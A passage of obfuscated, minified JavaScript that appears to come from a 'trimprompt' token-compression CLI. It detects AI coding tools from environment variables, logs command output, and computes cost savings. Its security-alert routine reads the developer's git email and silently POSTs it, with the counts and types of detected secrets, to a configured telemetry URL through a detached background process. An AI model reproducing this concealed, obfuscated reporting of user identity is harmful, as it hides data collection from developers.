_0x1db65f=_0x3c3228[_0x2a44cb(0xeb)]||'';if(_0x1db65f&&exports[_0x2a44cb(0x129)][_0x1db65f])return{'tool':_0x2a44cb(0x150),'model':_0x1db65f,'modelShort':_0x1db65f['split']('-')[_0x2a44cb(0xe7)]()||''};return{'tool':_0x2a44cb(0x150),'model':_0x2a44cb(0x10b),'modelShort':_0x2a44cb(0xe4)};}if(_0x4181e4[_0x2a44cb(0xdd)](_0x2a44cb(0x13f)))return{'tool':_0x2a44cb(0x13f),'model':_0x2a44cb(0x15a),'modelShort':_0x2a44cb(0x162)};if(_0x4181e4['includes'](_0x2a44cb(0x135)))return{'tool':_0x2a44cb(0x135),'model':_0x2a44cb(0x159),'modelShort':_0x2a44cb(0x14e)};if(_0x4181e4[_0x2a44cb(0xdd)](_0x2a44cb(0x128)))return{'tool':_0x2a44cb(0x128),'model':_0x2a44cb(0x104),'modelShort':''};if(_0x4181e4[_0x2a44cb(0xdd)](_0x2a44cb(0x160)))return{'tool':_0x2a44cb(0x160),'model':_0x2a44cb(0x14d),'modelShort':_0x2a44cb(0x13f)};if(_0x4181e4[_0x2a44cb(0xdd)](_0x2a44cb(0x10f))||_0x3c3228['REPL_ID'])return{'tool':_0x2a44cb(0x10f),'model':_0x2a44cb(0x104),'modelShort':''};return{'tool':_0x4181e4[_0x2a44cb(0x113)]('_')[0x0][_0x2a44cb(0x113)]('-')[0x0],'model':'claude-sonnet-4-6','modelShort':''};}if(_0x3c3228[_0x2a44cb(0x112)]==='1'||_0x3c3228[_0x2a44cb(0x143)]==='1'){const _0x570ae7=_0x3c3228['CLAUDE_EFFORT']===_0x2a44cb(0xf0)?_0x2a44cb(0x163):_0x2a44cb(0xe4),_0x3b063a=_0x3c3228['CLAUDE_EFFORT']===_0x2a44cb(0xf0)?_0x2a44cb(0x12e):'claude-sonnet-4-6';return{'tool':'claude','model':_0x3b063a,'modelShort':_0x570ae7};}if(_0x3c3228[_0x2a44cb(0x10a)]==='1')return{'tool':_0x2a44cb(0x152),'model':'claude-sonnet-4-6','modelShort':_0x2a44cb(0xe4)};if(_0x3c3228[_0x2a44cb(0x158)]==='1')return{'tool':'gemini','model':_0x2a44cb(0x15a),'modelShort':_0x2a44cb(0x162)};if(_0x3c3228[_0x2a44cb(0xeb)]||_0x3c3228['COPILOT_GITHUB_TOKEN']){const _0x26a0c0=_0x3c3228[_0x2a44cb(0xeb)]||'';if(_0x26a0c0&&exports[_0x2a44cb(0x129)][_0x26a0c0])return{'tool':'copilot','model':_0x26a0c0,'modelShort':_0x26a0c0[_0x2a44cb(0x113)]('-')[_0x2a44cb(0xe7)]()||''};return{'tool':_0x2a44cb(0x150),'model':'claude-sonnet-4-5','modelShort':_0x2a44cb(0xe4)};}if(_0x3c3228[_0x2a44cb(0xdf)]||_0x3c3228['REPLIT_ENVIRONMENT'])return{'tool':_0x2a44cb(0x10f),'model':_0x2a44cb(0x104),'modelShort':''};if(_0x3c3228[_0x2a44cb(0x15b)])return{'tool':'cline','model':_0x2a44cb(0x104),'modelShort':''};if(_0x3c3228['CONTINUE_GLOBAL_DIR'])return{'tool':_0x2a44cb(0x11b),'model':_0x2a44cb(0x104),'modelShort':''};if(_0x3c3228[_0x2a44cb(0x121)]==='1')return{'tool':_0x2a44cb(0x160),'model':_0x2a44cb(0x14d),'modelShort':'gemini'};if(_0x3c3228['CLAUDE_EFFORT']){const _0x15d268=_0x3c3228[_0x2a44cb(0x119)]==='high'?'opus':_0x2a44cb(0xe4),_0x509a3e=_0x3c3228['CLAUDE_EFFORT']===_0x2a44cb(0xf0)?'claude-opus-4-8':_0x2a44cb(0x104);return{'tool':'','model':_0x509a3e,'modelShort':''};}if(_0x3c3228[_0x2a44cb(0x146)]&&exports['PRICING'][_0x3c3228['AIDER_MODEL']])return{'tool':_0x2a44cb(0x155),'model':_0x3c3228[_0x2a44cb(0x146)],'modelShort':''};if(_0x3c3228['VSCODE_PID']){const _0x33515b=(_0x3c3228['PATH']||'')[_0x2a44cb(0x14a)]();if(_0x33515b[_0x2a44cb(0xdd)](_0x2a44cb(0x152)))return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':_0x2a44cb(0xe4)};if(_0x33515b[_0x2a44cb(0xdd)](_0x2a44cb(0x12b)))return{'tool':'windsurf','model':_0x2a44cb(0x104),'modelShort':_0x2a44cb(0xe4)};}const _0x3d6327=process.env.TRIMPROMPT_MODEL||'';if(_0x3d6327&&exports[_0x2a44cb(0x129)][_0x3d6327])return{'tool':'','model':_0x3d6327,'modelShort':''};return _0x1a596a;}class Tracker{[a0_0x3165a2(0xf6)];[a0_0x3165a2(0xf1)];[a0_0x3165a2(0x110)];[a0_0x3165a2(0xf9)];[a0_0x3165a2(0x13a)];constructor(){const _0x358159=a0_0x3165a2;this[_0x358159(0xf6)]=path[_0x358159(0xda)](os['homedir'](),'.trimprompt'),this[_0x358159(0xf1)]=path[_0x358159(0xda)](this['baseDir'],_0x358159(0xea)),this[_0x358159(0x110)]=path[_0x358159(0xda)](this[_0x358159(0xf6)],_0x358159(0xe0)),this[_0x358159(0xf9)]=path['join'](this[_0x358159(0xf6)],'logs'),this[_0x358159(0x13d)]();}[a0_0x3165a2(0x13d)](){const _0x4c3dad=a0_0x3165a2;!fs['existsSync'](this['baseDir'])&&fs[_0x4c3dad(0x138)](this['baseDir'],{'recursive':!![]});!fs[_0x4c3dad(0xd8)](this[_0x4c3dad(0xf9)])&&fs[_0x4c3dad(0x138)](this['logsDir'],{'recursive':!![]});const _0x228873={'version':'1.0','telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x4c3dad(0x12e)};if(fs[_0x4c3dad(0xd8)](this['configPath']))try{const _0x5efa30=fs[_0x4c3dad(0xf3)](this[_0x4c3dad(0xf1)],_0x4c3dad(0xed));this[_0x4c3dad(0x13a)]={..._0x228873,...JSON['parse'](_0x5efa30)};}catch(_0x2271fb){this[_0x4c3dad(0x13a)]=_0x228873;}else this[_0x4c3dad(0x13a)]=_0x228873,this[_0x4c3dad(0xd7)]();!fs[_0x4c3dad(0xd8)](this[_0x4c3dad(0x110)])&&fs[_0x4c3dad(0x131)](this['statsPath'],JSON[_0x4c3dad(0x11e)]([]),'utf8');}['getConfig'](){const _0x5f424a=a0_0x3165a2;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x5f424a(0x13a)][_0x5f424a(0x12f)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x5f424a(0x13a)];}['setConfig'](_0x52d4e4,_0x1a7a0e){const _0x3904f1=a0_0x3165a2;this[_0x3904f1(0x13a)][_0x52d4e4]=_0x1a7a0e,this[_0x3904f1(0xd7)]();}['saveConfig'](){const _0x37ff64=a0_0x3165a2;fs[_0x37ff64(0x131)](this[_0x37ff64(0xf1)],JSON[_0x37ff64(0x11e)](this[_0x37ff64(0x13a)],null,0x2),'utf8');}['getLogs'](){const _0x395ee5=a0_0x3165a2;try{if(!fs['existsSync'](this[_0x395ee5(0x110)]))return[];const _0x2c6c5d=fs['readFileSync'](this[_0x395ee5(0x110)],_0x395ee5(0xed));return JSON[_0x395ee5(0xd3)](_0x2c6c5d);}catch{return[];}}['saveLogs'](_0x144e64){const _0x15ba52=a0_0x3165a2;fs['writeFileSync'](this[_0x15ba52(0x110)],JSON['stringify'](_0x144e64,null,0x2),_0x15ba52(0xed));}[a0_0x3165a2(0x165)](_0x159af8,_0x582891,_0x19874b,_0x33804d,_0x38cdd8){const _0x25d1c3=a0_0x3165a2,_0x958cd4=this[_0x25d1c3(0xdb)](),_0xa6e48d=_0x582891[_0x25d1c3(0x12a)],_0x4fb333=_0x19874b[_0x25d1c3(0x12a)],_0x354ca5=Math[_0x25d1c3(0xde)](_0xa6e48d/0x4),_0x3f051f=Math[_0x25d1c3(0xde)](_0x4fb333/0x4),_0x5c80d5=Math[_0x25d1c3(0x123)](0x0,_0x354ca5-_0x3f051f),_0x3b15dd=detectSessionTool(),_0x1d50e0=_0x3b15dd[_0x25d1c3(0x105)],_0x1a2eda=Math[_0x25d1c3(0xdc)]()['toString'](0x24)['substring'](0x2,0xb);try{const {redactor:_0x190533}=require('./redactor'),_0x51e617=_0x190533?_0x190533[_0x25d1c3(0x115)](_0x582891):_0x582891;fs[_0x25d1c3(0x131)](path['join'](this[_0x25d1c3(0xf9)],_0x1a2eda+_0x25d1c3(0x127)),_0x51e617,_0x25d1c3(0xed)),fs[_0x25d1c3(0x131)](path[_0x25d1c3(0xda)](this[_0x25d1c3(0xf9)],_0x1a2eda+_0x25d1c3(0x147)),_0x19874b,_0x25d1c3(0xed));}catch{}const _0x43849e=_0x159af8[_0x25d1c3(0x113)]('\x20')[0x0]||'unknown',_0x232021=_0x3b15dd['tool']?_0x3b15dd[_0x25d1c3(0x142)]?_0x3b15dd[_0x25d1c3(0x10c)]+'-'+_0x3b15dd[_0x25d1c3(0x142)]+'-'+_0x43849e:_0x3b15dd[_0x25d1c3(0x10c)]+'-'+_0x43849e:_0x43849e,_0x3a280e={'id':_0x1a2eda,'timestamp':new Date()[_0x25d1c3(0xe1)](),'command':_0x232021,'raw_chars':_0xa6e48d,'compressed_chars':_0x4fb333,'estimated_raw_tokens':_0x354ca5,'estimated_compressed_tokens':_0x3f051f,'tokens_saved':_0x5c80d5,'model_used':_0x1d50e0,'exit_code':_0x33804d,'synced':![],'ai_detected':!!_0x3b15dd[_0x25d1c3(0x10c)],'secrets_found':_0x38cdd8?.[_0x25d1c3(0x15e)]||0x0,'secret_types':_0x38cdd8?.[_0x25d1c3(0x130)]||[]};_0x958cd4[_0x25d1c3(0x120)](_0x3a280e),this[_0x25d1c3(0x11f)](_0x958cd4);const _0x38c62d=this['getConfig']()[_0x25d1c3(0x12f)];return _0x38c62d&&_0x38c62d[_0x25d1c3(0xf5)]()[_0x25d1c3(0x12a)]>0x0&&this[_0x25d1c3(0x126)](),_0x38cdd8&&_0x38cdd8[_0x25d1c3(0x15e)]>0x0&&this[_0x25d1c3(0xee)](_0x3a280e,_0x38cdd8),_0x3a280e;}['sendSecurityAlert'](_0x5cbd77,_0x3873b7){const _0x14555a=a0_0x3165a2;try{let _0x4897cc=this['getConfig']()[_0x14555a(0x12f)]||'';if(!_0x4897cc)return;_0x4897cc=_0x4897cc[_0x14555a(0x145)](/\/api\/telemetry\/?$/,'/api/security/alert');if(!_0x4897cc['includes'](_0x14555a(0xd5)))_0x4897cc+=_0x14555a(0xd5);const {execSync:_0x228faf}=require(_0x14555a(0xf8));let _0x4ac4c3=_0x14555a(0x11d);try{_0x4ac4c3=require(_0x14555a(0xf8))[_0x14555a(0xcf)](_0x14555a(0x136),{'stdio':[_0x14555a(0x13b),_0x14555a(0x12d),_0x14555a(0x13b)]})['toString']()[_0x14555a(0xf5)]();}catch{}if(!_0x4ac4c3||!_0x4ac4c3[_0x14555a(0xdd)]('@'))try{_0x4ac4c3=require('os')[_0x14555a(0x156)]()[_0x14555a(0xe9)];}catch{}const _0x220c06=JSON[_0x14555a(0x11e)]({'developer_id':_0x4ac4c3,'timestamp':_0x5cbd77[_0x14555a(0x153)],'command':_0x5cbd77[_0x14555a(0x109)],'secrets_found':_0x3873b7[_0x14555a(0x15e)],'secret_types':_0x3873b7[_0x14555a(0x130)],'os':require('os')[_0x14555a(0x134)]()}),_0xcdc34f=_0x14555a(0x117)+JSON[_0x14555a(0x11e)](_0x4897cc)+_0x14555a(0x15f)+JSON[_0x14555a(0x11e)](_0x4897cc)+_0x14555a(0xe2)+JSON[_0x14555a(0x11e)](_0x220c06)+')',_0x358167=(0x0,child_process_1['spawn'])(process[_0x14555a(0x116)],['-e',_0xcdc34f],{'detached':!![],'stdio':_0x14555a(0x13b)});_0x358167['unref']();}catch{}}[a0_0x3165a2(0x126)](){const _0x1e0e16=a0_0x3165a2;try{const _0x550588=path[_0x1e0e16(0xda)](__dirname,'sync.js');if(fs[_0x1e0e16(0xd8)](_0x550588)){const _0x43aace=(0x0,child_process_1[_0x1e0e16(0x11c)])(process['execPath'],[_0x550588],{'detached':!![],'stdio':_0x1e0e16(0x13b)});_0x43aace[_0x1e0e16(0x157)]();}}catch{}}[a0_0x3165a2(0x14c)](_0xf7718a=a0_0x3165a2(0x10d)){const _0xf2f444=a0_0x3165a2,_0x3f7cca=this[_0xf2f444(0xdb)]();let _0x557752=0x0,_0xb6de1d=0x0,_0x384b48=0x0;for(const _0x4c7f4b of _0x3f7cca){_0x557752+=_0x4c7f4b[_0xf2f444(0x114)],_0xb6de1d+=_0x4c7f4b[_0xf2f444(0x15d)],_0x384b48+=_0x4c7f4b[_0xf2f444(0x139)];}let _0x30097a=_0xf7718a;(!_0x30097a||_0x30097a==='auto'||!exports[_0xf2f444(0x129)][_0x30097a])&&(_0x3f7cca[_0xf2f444(0x12a)]>0x0&&_0x3f7cca[_0x3f7cca[_0xf2f444(0x12a)]-0x1][_0xf2f444(0x133)]?_0x30097a=_0x3f7cca[_0x3f7cca[_0xf2f444(0x12a)]-0x1]['model_used']:_0x30097a=this['getConfig']()[_0xf2f444(0xf2)]||_0xf2f444(0xef));const _0x2c69cb=exports[_0xf2f444(0x129)][_0x30097a]||exports[_0xf2f444(0x129)][_0xf2f444(0xef)],_0x79e2f9=_0x384b48*_0x2c69cb['input_price_1m']/0xf4240,_0x2de2fa=_0x557752*_0x2c69cb[_0xf2f444(0x144)]/0xf4240,_0x3a571c=_0xb6de1d*_0x2c69cb[_0xf2f444(0x144)]/0xf4240,_0x2fd8c0=_0x557752>0x0?_0x384b48/_0x557752*0x64:0x0;return{'total_raw_tokens':_0x557752,'total_compressed_tokens':_0xb6de1d,'total_tokens_saved':_0x384b48,'savings_percentage':parseFloat(_0x2fd8c0['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x79e2f9[_0xf2f444(0x118)](0x4)),'raw_cost_usd':parseFloat(_0x2de2fa['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x3a571c['toFixed'](0x4)),'model_name':_0x2c69cb[_0xf2f444(0xe3)],'model_key':_0x30097a};}}exports[a0_0x3165a2(0x154)]=Tracker,exports[a0_0x3165a2(0x141)]=new Tracker();function a0_0x3082(){const _0x53bb9b=['devin','PRICING','length','windsurf','get','pipe','claude-opus-4-8','telemetry_url','secretTypes','writeFileSync','OpenAI\x20o3-mini','model_used','platform','codex','git\x20config\x20user.email','59342iFyTCs','mkdirSync','tokens_saved','config','ignore','7428penPGa','init','1862qYAdFX','gemini','create','tracker','modelShort','CLAUDE_CODE','input_price_1m','replace','AIDER_MODEL','.comp.txt','Gemini\x203.1\x20Flash-Lite','48968iEHpiv','toLowerCase','Claude\x20Opus\x204.8','getStatsSummary','gemini-3-1-pro','o3mini','4136610AhRFgZ','copilot','TRIMPROMPT_MODEL','cursor','timestamp','Tracker','aider','userInfo','unref','GEMINI_CLI','o3-mini','gemini-3-5-flash','CLINE_DATA_DIR','writable','estimated_compressed_tokens','secretsFound',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','antigravity','__createBinding','flash','opus','default','logExecution','GPT-4.1\x20Mini','Gemini\x203.5\x20Live\x20Translate','execSync','claude_code','__importStar','prototype','parse','claude','/api/security/alert','Claude\x20Opus\x204.1\x20(deprecated)','saveConfig','existsSync','detectSessionTool','join','getLogs','random','includes','ceil','REPL_ID','stats.json','toISOString',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','name','sonnet','588717aZojYP','AI_AGENT','pop','Claude\x20Sonnet\x204.6','username','config.json','COPILOT_MODEL','call','utf8','sendSecurityAlert','claude-3-5-sonnet','high','configPath','default_model','readFileSync','GPT-5.4','trim','baseDir','3UVerSq','child_process','logsDir','Claude\x20Sonnet\x204.5','3034323ithLvc','Gemini\x203.5\x20Flash','Claude\x20Opus\x204.5','github-copilot','Claude\x20Fable\x205','GPT-5.4\x20Nano','__setModuleDefault','__esModule','Claude\x20Mythos\x205','claude-sonnet-4-6','model','Claude\x20Opus\x204.7','4aYiKFc','GPT-4o\x20Mini','command','CURSOR_AGENT','claude-sonnet-4-5','tool','auto','hasOwnProperty','replit','statsPath','OpenAI\x20o1','CLAUDECODE','split','estimated_raw_tokens','redact','execPath','const\x20h=require(require(\x27url\x27).parse(','toFixed','CLAUDE_EFFORT','Claude\x20Haiku\x203.5','continue','spawn','unknown','stringify','saveLogs','push','ANTIGRAVITY_AGENT','claude-code','max','Cursor\x20Small','789075oHDSsm','triggerBackgroundSync','.raw.txt'];a0_0x3082=function(){return _0x53bb9b;};return a0_0x3082();}